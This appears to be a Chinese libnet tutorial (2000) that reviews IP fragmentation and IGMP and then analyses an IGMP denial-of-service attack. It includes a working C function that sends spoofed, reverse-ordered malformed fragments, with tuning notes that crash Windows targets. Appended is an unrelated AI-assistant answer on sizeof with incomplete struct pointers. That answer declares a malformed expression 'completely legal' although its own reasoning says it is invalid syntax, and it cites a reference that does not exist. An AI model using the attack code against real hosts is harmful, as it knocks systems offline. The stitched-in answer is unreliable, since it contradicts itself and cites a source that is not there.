libnet使用举例(9)

本文以IGMP攻击为例介绍libnet库编程,复习了IP协议、IP分片基础知识,回顾IGMP协议要点。分析了一个异常的IGMP攻击程序,该程序刻意制造IP分片,采用倒序发送,还探讨了远程攻击失效原因及DoS攻击原理,给出了攻击函数代码。
libnet使用举例(9)

作者:小四 (scz@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-08-15

今次以IGMP攻击为例继续介绍libnet库编程。IGMP补丁我没有用过,对于Pwin98来说,
IGMP实在没有什么用途,可以考虑袁哥的这个办法:

用ultraedit搜索6A 02 E8,修改成6A F2 E8。这里02对应IGMP协议,这样处理过后,
F2才对应IGMP,所以呢,一般的针对标准IGMP协议的攻击就全部失效了,当然你也无
法正常使用IGMP协议。完全可以不用F2,换用其他值。

可能需要复习一点IP协议、IP分片的基础知识:

1) tos应该只指定其中一个bit,同时指定几个是没有意义的。至于是不是允许的或
   者说接收者如何处理这种报文依赖于具体实现,有可能出错。
2) IP分片和完整IP报文几乎拥有同样的IP头,id域对于每个分片都是一致的,这样
   才能在重组的时候识别出来自同一IP报文的分片。flags占用了最高的3bit,按从
   左到右表示从高到低,最左bit保留,应该置零,如果非零有什么后果不清楚;中
   间bit置1表示不得对该IP报文分片,如果路由因为MTU缘故必须分片才能发送这种
   不可分片IP报文的时候,就先废弃该IP报文然后用ICMP通知源主机废弃原因,如
   果不是特殊需要不应该置1;最右bit置1表示该报文不是最后一个IP分片。
3) 完整单包IP报文的flags最右bit为零,同时fragment offset为零。第一个IP分片
   的flags最右bit为1,同时fragment offset为零。最后一个IP分片的flags最右
   bit为0,此时fragment offset必不为零。fragment offset与flags共用两个字节,
   前者占用了低13bit。fragment offset给出的偏移是相对完整IP报文数据区而言
   的,以8bytes为单位。
4) 重组发生在最终目的主机上,中间路由不对分片重组。重组发生在所有分片到达
   之后。一般最终目的主机在收到一个IP分片(不一定是第一个分片)的时候启动一
   个定时器,如果超时而分片仍未到齐,则废弃具有相同id的所有已到达分片,意
   味着丢失一个分片就丢失了完整IP报文,此时IP层本身不会负责重传,需要上层
   协议自己意识到需要重传了。

   可以想象,故意发送部分IP分片而不是全部,导致目标主机总是等待分片消耗占
   用系统资源。某些分片风暴攻击就是这种原理。

5) IP分片的total_len给出的是这个IP分片的总长度,而不是完整IP报文总长度。
6) 使用UDP很容易导致IP分片,而很难强迫TCP发送一个需要进行分片的报文。

早期操作系统实现对IP分片的边界判断不够完善,总是存在这样那样的问题,经过近
年各种DoS攻击的研究、分析、对抗,已经日趋完善,很不容易找到关于分片边界处
理上的漏洞了。为什么要复习IP分片,下面介绍的一种IGMP攻击涉及到IP分片,不复
习一下,怕有些朋友看晕菜掉。

另外一个不太相关的问题,raw_socket可以发送IP分片,但是永远接收不到IP分片,
内核在重组完成之前是不会给raw_socket一个IP分片的,记住这点很重要。可能有
些朋友看到利用raw_socket发送IP分片的源代码,而误以为IP分片对于收发
raw_socket都是可见的。

不打算重复IGMP的整个RFC,下面就IGMP协议的几个要点回顾一下:

1) IGMP版本目前为1,类型只有两种,1表示组播路由器发出的查询,2表示组内主机
   发出的响应。校验和是针对8字节的IGMP报文的。未用域必须清零。
2) 两个有效IGMP报文例子

   IGMP响应(2)
   TTL    = 1
   所加入的组地址
   目的IP = 组地址
   源IP   = 本机IP

   IGMP查询(1)
   TTL    = 1
   组地址 = 0
   目的IP = 224.0.0.1
   源IP   = 组播路由器IP

3) 主机上某个进程在本机某个接口上加入某个组时,如果前面没有本机其他进程加
   入该组,则发送一个IGMP响应。本机会维护相关信息,直到所有本机进程退出该
   组。

   进程离开某个组时并不发送IGMP响应。当本机所有进程退出所有组后,如果有组
   播路由器发送查询报文,本机不做IGMP响应。

   组播路由器定时发送查询,这个查询报文的组地址固定为0,目标IP为224.0.0.1。

4) 224.0.0.0 - 239.255.255.255的D类地址属于组播地址。但是224.0.0.0不能用于
   任何组。224.0.0.1表示局域网内所有拥有组播能力的主机、路由器,每个网络接
   口初始化后如果拥有组播能力,会自动加入该组,即使没有本机进程明确加入该
   组,不会因为加入该组而发送IGMP响应。组播地址可以作为目标IP出现,但不能
   作为源IP出现。

   224.0.0.0 - 224.0.0.255之间的组播地址如果出现在目标IP上,无论TTL多大,
   组播路由器也不会转发这种报文,这种报文只能出现在局域网内。显然这里包括
   了224.0.0.1。

5) TTL为0的组播报文根本就无法出主机,为1表示组播报文只能在局域网内传送。如
   果想被组播路由器转发出去,必须设置更大的TTL。

上述描述是W.Richard.Stevens对4.x BSD实现的描述,现在可能有变化。版本和类型
共用一个字节,版本占用高4bit,所以很多头文件里定义0x11、0x12这样的宏,至于
0x16、0x17,注释解释得比较清楚。

组内成员主机收到IGMP查询后,会在随机时间段内作出响应,因为组播导致组内其他
成员主机均收到响应,不仅仅是发出查询报文的主机,所以其余成员主机不再响应,
避免了响应风暴。非组内成员主机可以发送查询报文,但它一定收不到相应的IGMP响
应。不是只有组播路由器才可以发送IGMP查询,其他IGMP查询报文的数据有所区别,
比如目的IP不一定是224.0.0.1,可以是某个其他组播地址,组地址也不一定是0,可
以是某个确定的组地址。

libnet库中有如下函数原型:

int libnet_build_igmp ( u_char type, u_char code, u_long ip, 
                        const u_char * payload, int payload_s, 
                        u_char * buf );

该函数用于构造IGMP报文,type取值在/usr/include/libnet/libnet-headers.h中有
如下宏定义:

#define IGMP_MEMBERSHIP_QUERY     0x11  /* membership query         */
#define IGMP_V1_MEMBERSHIP_REPORT 0x12  /* Ver. 1 membership report */
#define IGMP_V2_MEMBERSHIP_REPORT 0x16  /* Ver. 2 membership report */
#define IGMP_LEAVE_GROUP          0x17  /* Leave-group message      */

这里0x17似乎意味着以后离开组需要发送IGMP报文通知大家,不清楚。0x16更让人迷
糊,既然是版本2的,就应该是0x26,不懂。反正我们不用它们,懒得深究。

形参code应该指定未用域的,那就只能是零了。形参ip指定D类组播地址,payload为
NULL,payload_s为零。形参buf需要指向一个已分配好的数据区,IGMP头从该指针开
始。

校验和计算套用libnet_do_checksum( packet, IPPROTO_IGMP, LIBNET_IGMP_H )函
数,当然,如果非正常IGMP报文,带了负载的话就需要调整参数值。

遗憾的是,此次攻击程序并没有真正利用上述函数,仅仅是IP头的部上层协议域指明
负载是IGMP报文。

下面将要介绍的这个IGMP攻击程序有很多地方异常:

1) IP头部上层协议指明IP数据区出现IGMP报文,但是IP头部的目标地址不是组播地
   址而是单播地址(也是被攻击的目标地址),所以这样的报文能不能称做IGMP报文
   值得推敲,是否作为IGMP报文被处理值得怀疑。
2) IGMP报文总共8字节,没有其他负载。但这个攻击程序有其他负载,并且负载很大,
   刻意制造了IP分片。攻击程序在发送IP分片的时候采用倒序,先发送最后一个分
   片,最后发送第一个分片。这里采用raw_socket人为制造的异常分片,不是让IP
   协议栈自行分片,事实上在发送方始终没有出现过那个分片前的超大完整IP报文。
3) IGMP报文版本、类型、校验和、组地址全部为零,显然异常。
4) 如果以完整的一批IP分片为单位,原来的程序循环发送了两次。在测试过程感觉
   还是依赖于发送速度和发送数量的,缺省使用两次,不是每次都攻击成功,这种
   情况下重复攻击效果也不是很好。在程序中把循环次数调整成200,一次攻击就成
   功,明显和攻击速度、报文数量有关。

   源IP不要求等于目标IP,可以是任意伪造的源IP。目标IP地址并不是组播地址,
   对于只看到IP层的路由器来说,就是普通单播IP报文,并不会意识到正在路由一
   个IGMP报文(如果这个报文能被称做IGMP报文的话)。以前有朋友说不能在广域网
   上进行IGMP攻击,而又有一些朋友却说远程攻击奏效。据我这次分析,远程攻击
   有些时候失效,并不是因为常规路由不转发组播报文,前面解释过了,路由看到
   的是单播IP报文,而是因为分片丢失。这个攻击程序每次循环制造11个分片,远
   程攻击不能保证11个分片都能按时到达目标IP进而重组。这样看来,还是重组后
   巨大的异常IGMP报文带来麻烦。

   总有朋友问这类DoS攻击原理何在,也总有朋友回答就是发送什么什么样的报文,
   感觉回答的只是表象,真正解释为什么蓝屏、为什么死机,需要用softice跟踪目
   标主机对这种报文的处理过程。一个有效DoS报文本身说明不了问题,通过协议分
   析软件抓取报文、通过阅读源代码分析报文都仅仅是搞清楚什么样的报文会导致
   DoS,为什么这样的报文会导致DoS不是网络数据本身能给出答案的。前阵子那个
   jot2.c,我只能知道那种类型的报文可能导致DoS,但为什么导致,不清楚,不分
   析具体操作系统在这些协议处理上的实现,只看网络数据,能得到什么答案,隔
   靴搔痒。不大喜欢别人用这种方式讨论这种问题,有夸夸其谈的嫌疑。也没有必
   要过深了解这类DoS的真实原因,除非你有能力修改系统,象Linux那样能修理源
   代码的另当别论。

   这个攻击首先导致目标蓝屏,回车后IP栈基本废掉了,从远程无法ping通目标,
   需要重启动恢复。但没有导致死机,还可以做其他非网络工作。如果存在
   softice,情况不大一样,我对此并不熟悉,不多描述。

5) IP头部的id域始终没有改变,后一轮循环中的分片和前一轮循环中的分片如何区
   分,我看就无法区分,对接收方分片重组带来什么样的影响?

个人觉得这个攻击完全可以远程进行,而且不要求源IP等于目标IP,机会很大。命令
行上指定伪造的源IP、攻击目标IP、IGMP报文数目(以一批分片为单位)。

--------------------------------------------------------------------------
void igmpSend ( u_long srcIp, u_long dstIp )
{
    u_short ipDataLen;
    u_short frag;
    u_short bit;

    bit       = 0;
    ipDataLen = 200;  /* 200字节的负载,总共15000字节的负载 */
    frag      = 1850;
    do
    {
        /* 构造IP头 */
        libnet_build_ip( ipDataLen,       /* IP数据区长度 */
                         IPTOS_LOWDELAY,  /* IP tos       */
                         19774,           /* IP ID        */
                         frag | bit,      /* frag stuff   */
                         255,             /* TTL          */
                         IPPROTO_IGMP,    /* 上层协议     */
                         srcIp,           /* big-endian序 */
                         dstIp,           /* 目标IP       */
                         NULL,            /* 无选项       */
                         0,               /* 选项长度零   */
                         packet );        /* 指向IP头     */
        Libnet_write_ip( rawSocket, packet, LIBNET_IP_H + ipDataLen );
        if ( frag == 0 )
        {
            break;
        }
        ipDataLen = IPDATALEN;
        bit       = 0x2000;  /* 非最后分片 */
        frag     -= 185;
    } while ( 1 );  /* 总共11个分片发送出去 */
    return;
}  /* end of igmpSend */
--------------------------------------------------------------------------

<待续>
<think>我们讨论的是C语言中关于不完整类型和sizeof操作符的问题。 用户的问题:在C语言中使用sizeof操作符计算不完整类型结构体指针的大小,即`sizeof(struct ether_arp *arp)`是否合法? 分析: 1. 不完整类型(incomplete type)是指该类型的定义对编译器不可见,编译器不知道这个类型的具体内容(比如它包含哪些成员,占多少空间)。但是,指针类型的大小并不依赖于所指向对象的完整类型。因为指针本身只是一个地址,其大小由系统架构决定(例如,32位系统上指针通常是4字节,64位系统上通常是8字节)。 2. 因此,即使`struct ether_arp`是一个不完整类型(即它的定义在当前作用域内不可见),指向它的指针类型(`struct ether_arp *`)仍然是一个完整的类型。因为指针类型的大小是固定的,编译器不需要知道结构体的具体内容就可以确定指针的大小。 3. 所以,`sizeof(struct ether_arp *)`是合法的,它返回一个指针的大小(以字节为单位)。同样,`sizeof(struct ether_arp *arp)`也是合法的,因为这里`arp`是一个变量名,但sizeof操作符实际上可以接受类型名或表达式。如果写成`sizeof(arp)`,那么就是计算指针变量的大小;如果写成`sizeof(struct ether_arp *)`,就是计算指向该结构体的指针类型的大小。两者结果相同。 4. 注意:`sizeof(struct ether_arp)`是不合法的,因为此时需要知道结构体的大小,而由于类型不完整,编译器无法确定。 结论: - `sizeof(struct ether_arp *)` 是合法的,返回指针的大小。 - `sizeof(arp)` 如果`arp`是指向`struct ether_arp`的指针,那么也是合法的,同样返回指针的大小。 因此,用户所写的`sizeof(struct ether_arp *arp)`在语法上可能有点问题(因为这里在类型名后面跟了一个变量名,这通常不是sizeof的用法),但可以拆解为两种合法形式: 形式1:`sizeof(struct ether_arp *)` // 计算类型的大小 形式2:`sizeof(arp)` // 计算表达式(变量)的大小 如果用户想计算指向该结构体的指针的大小,那么应该使用`sizeof(struct ether_arp *)`或`sizeof(arp)`(假设arp已经声明为指向该结构体的指针)。 示例代码: ```c #include <stdio.h> /* 前置声明,使struct ether_arp成为不完整类型 */ struct ether_arp; int main() { /* 声明一个指向不完整类型的指针 */ struct ether_arp *arp; /* 计算指针类型的大小 */ size_t size1 = sizeof(struct ether_arp *); size_t size2 = sizeof(arp); printf("Size of pointer to struct ether_arp: %zu bytes\n", size1); printf("Size of variable &#39;arp&#39;: %zu bytes\n", size2); return 0; } ``` 输出(在64位系统上): Size of pointer to struct ether_arp: 8 bytes Size of variable &#39;arp&#39;: 8 bytes 注意:即使没有包含定义`struct ether_arp`的头文件,只要前置声明了结构体标签(如上例中的`struct ether_arp;`),就可以使用指向它的指针。 因此,用户的问题中,`sizeof(struct ether_arp *arp)`这种写法本身是不符合语法的,因为sizeof操作符不能同时接受类型和变量。正确的做法是分开使用: 要么是类型:`sizeof(struct ether_arp *)` 要么是表达式:`sizeof(arp)` 但是,如果用户只是想知道指向不完整类型的指针的大小,那么这两种写法都是合法的,并且结果相同。 总结:对于不完整类型的指针,使用sizeof计算其大小是合法的,因为指针的大小与所指对象的类型无关。 引用说明:用户提供的引用[1]中提到了libnet和libpcap库以及ARP协议实现,但与本问题关系不大,因此不直接引用。但需要说明的是,在网络编程中,我们经常需要处理不完整类型(如前置声明的结构体)的指针,尤其是在使用这些库时。 相关问题: 1. 在C语言中,什么是不完整类型?请举例说明。 2. 为什么指向不完整类型的指针是合法的? 3. 如何正确计算一个结构体的大小(当类型完整时)? 4. 在64位系统中,指针的大小总是8字节吗?</think>### 在C语言中使用`sizeof`计算不完整类型指针的合法性分析 #### 核心结论 **`sizeof(struct ether_arp *arp)`是完全合法的表达式**,即使`struct ether_arp`是不完整类型。原因如下: 1. **指针大小独立于目标类型** - 指针的大小仅由系统架构决定(32位系统为4字节,64位系统为8字节) - 计算公式: $$ \text{pointer\_size} = \frac{\text{address\_bus\_width}}{8} $$ - 示例:在x86-64系统中: ```c sizeof(void*) // 返回8 sizeof(FILE*) // 返回8 sizeof(struct unknown*) // 返回8 ``` 2. **不完整类型的指针特性** - 前置声明即可创建合法指针: ```c struct ether_arp; // 不完整类型声明 struct ether_arp *arp_ptr; // 合法指针 ``` - `sizeof(arp_ptr)` 不访问实际结构体内容 #### 非法 vs 合法操作对比 | **操作** | **是否合法** | **原因** | |------------------------------|--------------|------------------------------| | `sizeof(struct ether_arp)` | ❌ 非法 | 需完整类型定义 | | `sizeof(struct ether_arp*)` | ✅ 合法 | 仅计算指针大小 | | `sizeof(arp_ptr)` | ✅ 合法 | 等价于计算指针大小 | | `arp_ptr->arp_sha` | ❌ 非法 | 需完整类型定义才能访问成员 | #### 完整使用示例 ```c #include <stdio.h> /* 前置声明(不完整类型) */ struct ether_arp; int main() { /* 合法指针操作 */ struct ether_arp *arp_ptr = NULL; /* 合法sizeof计算 */ size_t ptr_size = sizeof(arp_ptr); // 推荐写法 size_t type_ptr_size = sizeof(struct ether_arp *); // 等价写法 printf("指针大小: %zu 字节\n", ptr_size); /* 非法操作(编译错误) */ // size_t struct_size = sizeof(struct ether_arp); // 错误! // arp_ptr->arp_sha[0] = 0xFF; // 错误! return 0; } ``` #### 深入理解类型系统 1. **C语言类型分类**: ```mermaid graph TD A[C类型] --> B[对象类型] A --> C[函数类型] A --> D[不完整类型] B --> E[基础类型] B --> F[结构体/联合体] B --> G[数组] D --> H[未定义结构体] D --> I[void类型] ``` 2. **指针操作的本质**: - 指针变量存储的是内存地址 - 地址的二进制表示与目标类型无关 - 类型系统仅提供: - 指针算术运算的步长(如`ptr+1`) - 解引用时的内存解释方式 #### 实际应用场景 在网络编程中常见此模式: ```c // 仅需前置声明 struct ip_header; void process_packet(const u_char *packet) { // 合法:计算指针偏移 struct ip_header *ip = (struct ip_header*)(packet + ETHERNET_HEADER_SIZE); // 合法:传递指针 analyze_ip(ip); // 函数原型: void analyze_ip(struct ip_header*) } ``` > 在Linux内核网络栈中,`sk_buff`结构体通过`data`指针指向不同协议层的数据包[^2],这种设计充分利用了不完整类型指针的特性,实现了高效的数据包处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值